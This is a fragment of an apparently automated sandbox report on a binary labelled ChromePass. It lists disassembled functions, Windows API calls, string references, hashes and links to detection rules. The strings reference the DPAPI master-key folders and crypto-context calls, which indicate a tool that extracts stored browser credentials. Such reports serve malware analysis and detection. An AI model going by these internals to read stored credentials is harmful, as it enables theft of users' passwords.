>, xrefs: 0040AB07
", xrefs: 0040AB16

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: memcpy
String ID: &$°$>$<$"$<br>
API String ID: 3510742995-3273207271
Opcode ID: 3e09f1ba55b3964a42479ffeb7638ca62a2aabcbaf2d3cdef27350fe23f380b2
Instruction ID: 10033f927b9eafeb0d070270d456198b9870783f1933e151f5fc4f6a633e6a56
Opcode Fuzzy Hash: 3e09f1ba55b3964a42479ffeb7638ca62a2aabcbaf2d3cdef27350fe23f380b2
Instruction Fuzzy Hash: 5601C056F5433171E63120156C42F762166DB63725FE4413BFB86352C0A1ED19A3919F

Function 004059FD Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 104COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00401F52,?,?), ref: 00405A3C
wcscpy.MSVCRT ref: 00405A7E

Part of subcall function 00405EEF: memset.MSVCRT ref: 00405F02
Part of subcall function 00405EEF: _itow.MSVCRT ref: 00405F10

wcslen.MSVCRT ref: 00405A9C
GetModuleHandleW.KERNEL32(00000000), ref: 00405AAA
LoadStringW.USER32(00000000,00000519,00000FFF), ref: 00405AD5
memcpy.MSVCRT(00000000,00000002,?,?,00401F52,?,?), ref: 00405B15

Part of subcall function 0040595B: ??2@YAPAXI@Z.MSVCRT(00000000,00405A0B,00401F52,?,?), ref: 00405995
Part of subcall function 0040595B: ??2@YAPAXI@Z.MSVCRT(00000000,00000000,00405A0B,00401F52,?,?), ref: 004059B3
Part of subcall function 0040595B: ??2@YAPAXI@Z.MSVCRT(00000000,00000000,00000000,00405A0B,00401F52,?,?), ref: 004059D1
Part of subcall function 0040595B: ??2@YAPAXI@Z.MSVCRT(00000000,00000000,00000000,00000000,00405A0B,00401F52,?,?), ref: 004059EF

Strings

strings, xrefs: 00405A74

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: ??2@$HandleModule$LoadString_itowmemcpymemsetwcscpywcslen
String ID: strings
API String ID: 3166385802-3030018805
Opcode ID: 5a57db18c3fcdba6add60d60e7aa980d406878a611af4cde56f8485491c562c9
Instruction ID: b57a637b8855130ffa1a7504adc270446ba2cec8e5bfd8050038c7f01de010dc
Opcode Fuzzy Hash: 5a57db18c3fcdba6add60d60e7aa980d406878a611af4cde56f8485491c562c9
Instruction Fuzzy Hash: FD413971600E019FCB18EB19EC95E2B33A5F784309750713AE812A72A1DF39AC52DF5C

Function 00406159 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040617E
GetDlgCtrlID.USER32(?), ref: 00406189
GetWindowTextW.USER32(?,?,00001000), ref: 004061A0
memset.MSVCRT ref: 004061C7
GetClassNameW.USER32(?,?,000000FF), ref: 004061DE
_wcsicmp.MSVCRT ref: 004061F0

Part of subcall function 00406031: memset.MSVCRT ref: 00406044
Part of subcall function 00406031: _itow.MSVCRT ref: 00406052

Strings

sysdatetimepick32, xrefs: 004061EA

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: memset$ClassCtrlNameTextWindow_itow_wcsicmp
String ID: sysdatetimepick32
API String ID: 1028950076-4169760276
Opcode ID: 89e785f6619a180bef2736402fca55b64736eb51bd0a17ce5aa6f62226469910
Instruction ID: c9c998f0b0d1e52276907cba2e903802b90230db4748a45949daaeea23d83061
Opcode Fuzzy Hash: 89e785f6619a180bef2736402fca55b64736eb51bd0a17ce5aa6f62226469910
Instruction Fuzzy Hash: 8C11AB325002297BE724E791DC89A9F776DEF04350F4040A6F519D1193DB344A91CB59

Function 004042DE Relevance: 10.6, APIs: 7, Instructions: 123windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003E9), ref: 004042F5
SendMessageW.USER32(00000000,00001009,00000000,00000000), ref: 0040430E
SendMessageW.USER32(?,00001036,00000000,00000026), ref: 0040431B
SendMessageW.USER32(?,0000101C,00000000,00000000), ref: 00404327
memset.MSVCRT ref: 0040438B
SendMessageW.USER32(?,0000105F,?,?), ref: 004043C0
SetFocus.USER32(?), ref: 00404444

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: MessageSend$FocusItemmemset
String ID:
API String ID: 4281309102-0
Opcode ID: c369cc2eda86e2299338a834ecd43e7d198953d8cec81144db89381f78cfc048
Instruction ID: 55441b7852df1a309b124f95804d97ee0adb4dd075dc708f7d4400b2906616ed
Opcode Fuzzy Hash: c369cc2eda86e2299338a834ecd43e7d198953d8cec81144db89381f78cfc048
Instruction Fuzzy Hash: 31415171D00219AFDB209F95CC85DAFBBB9FF84704F0080AAF914B62A1D7759A41CF64

Function 00406218 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 83windowCOMMON

Download Yara Rule

APIs

LoadMenuW.USER32(?,?), ref: 0040623E

Part of subcall function 00406068: GetMenuItemCount.USER32(?), ref: 0040607E
Part of subcall function 00406068: memset.MSVCRT ref: 0040609D
Part of subcall function 00406068: GetMenuItemInfoW.USER32 ref: 004060D9
Part of subcall function 00406068: wcschr.MSVCRT ref: 004060F1

DestroyMenu.USER32(00000000), ref: 0040625C
CreateDialogParamW.USER32(?,?,00000000,00406213,00000000), ref: 004062AB
memset.MSVCRT ref: 004062C7
GetWindowTextW.USER32(00000000,?,00001000), ref: 004062DC

Part of subcall function 00405E9F: _snwprintf.MSVCRT ref: 00405EC4

Strings

caption, xrefs: 004062F2

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: Menu$Itemmemset$CountCreateDestroyDialogInfoLoadParamTextWindow_snwprintfwcschr
String ID: caption
API String ID: 4269739968-4135340389
Opcode ID: 2e7af70ece1155b5e30b8fa81bec0d763625027daf0eb4b5469ea317d236c9cf
Instruction ID: fa52d7f1b1008cc69c615fc7342edfa9e29d8fd1c7b162c5b6278b3a8d89fcb7
Opcode Fuzzy Hash: 2e7af70ece1155b5e30b8fa81bec0d763625027daf0eb4b5469ea317d236c9cf
Instruction Fuzzy Hash: 0921C732500214EFEB21AF51EC89EAF3B65EF45710F41007AFA06A51D1DB789961CFAD

Function 00406068 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 79windowCOMMON

Download Yara Rule

APIs

GetMenuItemCount.USER32(?), ref: 0040607E
memset.MSVCRT ref: 0040609D
GetMenuItemInfoW.USER32 ref: 004060D9
wcschr.MSVCRT ref: 004060F1

Strings

6, xrefs: 004060C0
0, xrefs: 004060B8

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: ItemMenu$CountInfomemsetwcschr
String ID: 0$6
API String ID: 2029023288-3849865405
Opcode ID: edc64a08c20b33aba1040eafddddcfefcd0923b02e7d2eb590546dcc5dc052ce
Instruction ID: 16cb55e7f91040512dc75ba1883eca596ef12c0a57738a0f4195a451921f21b5
Opcode Fuzzy Hash: edc64a08c20b33aba1040eafddddcfefcd0923b02e7d2eb590546dcc5dc052ce
Instruction Fuzzy Hash: 7321FE32504350ABC720CF55D885A9FB7E9FF84754F410A3FFA45A6281E7368A20CB9A

Function 004029AD Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

Part of subcall function 004027EF: CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000001,F0000000,00402C8F,?,00403271,00000414,?,?,?,?,?,?,?), ref: 004027FF

memset.MSVCRT ref: 004029E2
memset.MSVCRT ref: 004029F6
memset.MSVCRT ref: 00402A0A
memcpy.MSVCRT(?,?,00000014,?,00000000,000000FF,?,00000000,000000FF,?,00000000,000000FF,?,?,00000414), ref: 00402A1A
memcpy.MSVCRT(?,?,00000014,?,?,00000014,?,00000000,000000FF,?,00000000,000000FF,?,00000000,000000FF,?), ref: 00402A2A

Strings

6, xrefs: 00402A44
\, xrefs: 00402A3C

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: memset$memcpy$AcquireContextCrypt
String ID: 6$\
API String ID: 208668350-1284684873
Opcode ID: 4ae6d09cf5ac4c9f5680b025e46bddb1b0075f4aaf80fe0043221d37ad413e65
Instruction ID: 0f4ecce006b6259caa9f2005d481d0c0c5787f0323d74ee6d6910b3726bfe70b
Opcode Fuzzy Hash: 4ae6d09cf5ac4c9f5680b025e46bddb1b0075f4aaf80fe0043221d37ad413e65
Instruction Fuzzy Hash: 1D219F7250012EAEDB22EE54DC85FEF3BADBF09304F0040BAB908E2042D6789A548F65

Function 00405000 Relevance: 10.6, APIs: 7, Instructions: 63timeCOMMON

Download Yara Rule

APIs

FileTimeToSystemTime.KERNEL32(?,?), ref: 0040501E
GetDateFormatW.KERNEL32(00000400,00000001,000007C1,00000000,?,00000080,?,?), ref: 0040504C
GetTimeFormatW.KERNEL32(00000400,00000000,000007C1,00000000,?,00000080,?,?), ref: 00405061
wcscpy.MSVCRT ref: 00405071
wcscat.MSVCRT ref: 0040507E
wcscat.MSVCRT ref: 0040508D
wcscpy.MSVCRT ref: 004050A1

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: Time$Formatwcscatwcscpy$DateFileSystem
String ID:
API String ID: 1331804452-0
Opcode ID: bcf1390ad7f74156ae8b04afdeb0b4738fb1043f16cbd9194c0ece294b357243
Instruction ID: 355817c143a24c0a41ac53ccef820e561d99b574c250e2a2da21fdf295fd440c
Opcode Fuzzy Hash: bcf1390ad7f74156ae8b04afdeb0b4738fb1043f16cbd9194c0ece294b357243
Instruction Fuzzy Hash: DF11B6B2900128BFDB21AB50EC85EFF777CEB04304F44487BBA05A2051D2B899958EA9

Function 00405110 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00405130
_snwprintf.MSVCRT ref: 00405157
wcscat.MSVCRT ref: 00405169
wcscat.MSVCRT ref: 00405186
wcscat.MSVCRT ref: 00405195

Strings

%2.2X, xrefs: 00405146

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: wcscat$_snwprintfmemset
String ID: %2.2X
API String ID: 2521778956-791839006
Opcode ID: 00ee19d816f89cf8b905fb19bc228da781efd16ecb144870987b18c8766899a3
Instruction ID: 60f4b69dee50b3d091ac869881a6f292a5657bc2eb947e70e2e40d8e8ac2718b
Opcode Fuzzy Hash: 00ee19d816f89cf8b905fb19bc228da781efd16ecb144870987b18c8766899a3
Instruction Fuzzy Hash: 0901F572F003346AE7216615BC86BBB33A9EB44715F90006BFC14AA1C2E67CE9454ACA

Function 0040413F Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F3), ref: 00404151
LoadLibraryW.KERNEL32(shlwapi.dll), ref: 0040415E
GetProcAddress.KERNEL32(00000000,SHAutoComplete), ref: 0040416C
FreeLibrary.KERNEL32(00000000), ref: 0040417F

Strings

shlwapi.dll, xrefs: 00404157
SHAutoComplete, xrefs: 00404166

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: Library$AddressFreeItemLoadProc
String ID: SHAutoComplete$shlwapi.dll
API String ID: 963042594-1506664499
Opcode ID: cc1d2221f923288e56d1d85c3232f4a7380646f269b1f931d5630d8c804f0511
Instruction ID: 01acf26635d1cfce3d283dedcdd8a10d45ef81041fc001994a40c011f36b91fa
Opcode Fuzzy Hash: cc1d2221f923288e56d1d85c3232f4a7380646f269b1f931d5630d8c804f0511
Instruction Fuzzy Hash: 37E048717002317BD6212771ACCDD7F766DDF917957500437BA02E51B1CFB889928A18

Function 0042A9EA Relevance: 9.1, APIs: 3, Strings: 3, Instructions: 112stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 0042AA23
strlen.MSVCRT ref: 0042AA79
strlen.MSVCRT ref: 0042AAC4

Strings

BINARY, xrefs: 0042A9F9
unknown encoding, xrefs: 0042AA07
Unable to delete/modify collation sequence due to active statements, xrefs: 0042AA50

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: strlen
String ID: BINARY$Unable to delete/modify collation sequence due to active statements$unknown encoding
API String ID: 39653677-1766853119
Opcode ID: b7cffcdca24aecc4cd8aff73aa3209c3958a0fa5c1dff23795c8e3a2643926a5
Instruction ID: 0f18042846b3076d369a411df17496327afcce51f7d4b400c808bb306dccc812
Opcode Fuzzy Hash: b7cffcdca24aecc4cd8aff73aa3209c3958a0fa5c1dff23795c8e3a2643926a5
Instruction Fuzzy Hash: 8A315971300220AFDB255F29EC42BABBBA5DF00324F64851BFC149A282D779DD91C699

Function 0040C1F7 Relevance: 9.1, APIs: 6, Instructions: 92COMMON

Download Yara Rule

APIs

isdigit.MSVCRT ref: 0040C220
isdigit.MSVCRT ref: 0040C242
isdigit.MSVCRT ref: 0040C257
isdigit.MSVCRT ref: 0040C269
isdigit.MSVCRT ref: 0040C299
isdigit.MSVCRT ref: 0040C2AB

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: isdigit
String ID:
API String ID: 2326231117-0
Opcode ID: 1901b69677519f67451912c9592368bc0ad4f5fb940677d5fde9bea6b71fae16
Instruction ID: 83484cbb7398d2c2382e148c4f8f7a896e897c15591de59ac67ee15c4c6b4b55
Opcode Fuzzy Hash: 1901b69677519f67451912c9592368bc0ad4f5fb940677d5fde9bea6b71fae16
Instruction Fuzzy Hash: 6B21B162D482A19AEF3017F618803326BC84F76351F190AFFECD0E2A81E17C88C2165A

Function 00408996 Relevance: 9.1, APIs: 1, Strings: 5, Instructions: 76COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 004089B8

Part of subcall function 004059FD: GetModuleHandleW.KERNEL32(00000000,?,?,00401F52,?,?), ref: 00405A3C
Part of subcall function 004059FD: LoadStringW.USER32(00000000,00000519,00000FFF), ref: 00405AD5
Part of subcall function 004059FD: memcpy.MSVCRT(00000000,00000002,?,?,00401F52,?,?), ref: 00405B15

Part of subcall function 004059FD: wcscpy.MSVCRT ref: 00405A7E
Part of subcall function 004059FD: wcslen.MSVCRT ref: 00405A9C
Part of subcall function 004059FD: GetModuleHandleW.KERNEL32(00000000), ref: 00405AAA

Part of subcall function 00405365: memset.MSVCRT ref: 00405386
Part of subcall function 00405365: _snwprintf.MSVCRT ref: 004053B4
Part of subcall function 00405365: wcslen.MSVCRT ref: 004053C0
Part of subcall function 00405365: memcpy.MSVCRT(?,?,?,?,?,00000400,%s (%s),?,?), ref: 004053D8
Part of subcall function 00405365: wcslen.MSVCRT ref: 004053E6
Part of subcall function 00405365: memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,00000400,%s (%s),?,?), ref: 004053F9

Part of subcall function 004051AA: wcscpy.MSVCRT ref: 00405210

Strings

*.htm;*.html, xrefs: 00408A1E
txt, xrefs: 004089BD
*.csv, xrefs: 00408A09
*.xml, xrefs: 00408A45
*.txt, xrefs: 004089DA

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: memcpywcslen$HandleModulememsetwcscpy$LoadString_snwprintf
String ID: *.csv$*.htm;*.html$*.txt$*.xml$txt
API String ID: 2618321458-3614832568
Opcode ID: 24c53f0340c22b77f7c47b08a15643e9465d2a9af67130d0efdf346d2cfa2e93
Instruction ID: 84affe95b08b9f600584db437cc8fe7d90b315df240b41990a1c8402c074e1b9
Opcode Fuzzy Hash: 24c53f0340c22b77f7c47b08a15643e9465d2a9af67130d0efdf346d2cfa2e93
Instruction Fuzzy Hash: 23212DB1D00759DBCB50DF99D881ADE7BB4FB04318F10417AE558B7241EB385A46CF98

Function 00402812 Relevance: 9.1, APIs: 4, Strings: 2, Instructions: 61COMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 00402831
wcslen.MSVCRT ref: 0040283E
wcslen.MSVCRT ref: 0040286F
wcslen.MSVCRT ref: 0040287D

Part of subcall function 00404D63: wcscpy.MSVCRT ref: 00404D6B
Part of subcall function 00404D63: wcscat.MSVCRT ref: 00404D7A

Strings

Application Data\Microsoft\Protect, xrefs: 00402876, 0040288B
AppData\Roaming\Microsoft\Protect, xrefs: 00402836, 0040283B, 00402852

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: wcslen$wcscatwcscpy
String ID: AppData\Roaming\Microsoft\Protect$Application Data\Microsoft\Protect
API String ID: 295340062-36309976
Opcode ID: 9895488412633ed806c8772db13f093fd39d97af3cb3ae421cc36ee4f8e35c0e
Instruction ID: 2ef22bdbafb1d8894d50f593b003672d9059eec5658b22f5f0426db89dd930ae
Opcode Fuzzy Hash: 9895488412633ed806c8772db13f093fd39d97af3cb3ae421cc36ee4f8e35c0e
Instruction Fuzzy Hash: 3F012BB33042142AD3107B26ADC5AA973D9DF81726B60057FFD40E60C2EFBDA941815D

Function 00407874 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 58COMMON

Download Yara Rule

APIs

Part of subcall function 00404870: wcslen.MSVCRT ref: 0040487D
Part of subcall function 00404870: WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,0040788B,?,<item>), ref: 0040488C

memset.MSVCRT ref: 004078AB

Part of subcall function 0040AAE5: memcpy.MSVCRT(?,<,00000008,?,?,00000000,004078CC,?,?), ref: 0040AB62

Part of subcall function 00407185: wcscpy.MSVCRT ref: 0040718A
Part of subcall function 00407185: _wcslwr.MSVCRT ref: 004071AB

_snwprintf.MSVCRT ref: 004078F5

Strings

<item>, xrefs: 0040787E
<%s>%s</%s>, xrefs: 004078E8
</item>, xrefs: 0040790F

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: FileWrite_snwprintf_wcslwrmemcpymemsetwcscpywcslen
String ID: <%s>%s</%s>$</item>$<item>
API String ID: 2236007434-2769808009
Opcode ID: d440415f155090d75d789f600a398a7556cb988a9e158da0a98f77aa85ee3b2c
Instruction ID: e095093e16e3ceeaa7e9ea9200a2abc427f8573690bfedeb410235e0cb9c8907
Opcode Fuzzy Hash: d440415f155090d75d789f600a398a7556cb988a9e158da0a98f77aa85ee3b2c
Instruction Fuzzy Hash: 0111BF32A00715BFDB10AF61EC82E9A7B66FF04318F10402AF904265A2C739F960CBC8

Function 00407A4F Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 45COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00407A73
memset.MSVCRT ref: 00407A8A

Part of subcall function 00404870: wcslen.MSVCRT ref: 0040487D
Part of subcall function 00404870: WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,0040788B,?,<item>), ref: 0040488C

Part of subcall function 00407185: wcscpy.MSVCRT ref: 0040718A
Part of subcall function 00407185: _wcslwr.MSVCRT ref: 004071AB

_snwprintf.MSVCRT ref: 00407AC6

Strings

<?xml version="1.0" ?>, xrefs: 00407A8F
<%s>, xrefs: 00407AB5

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

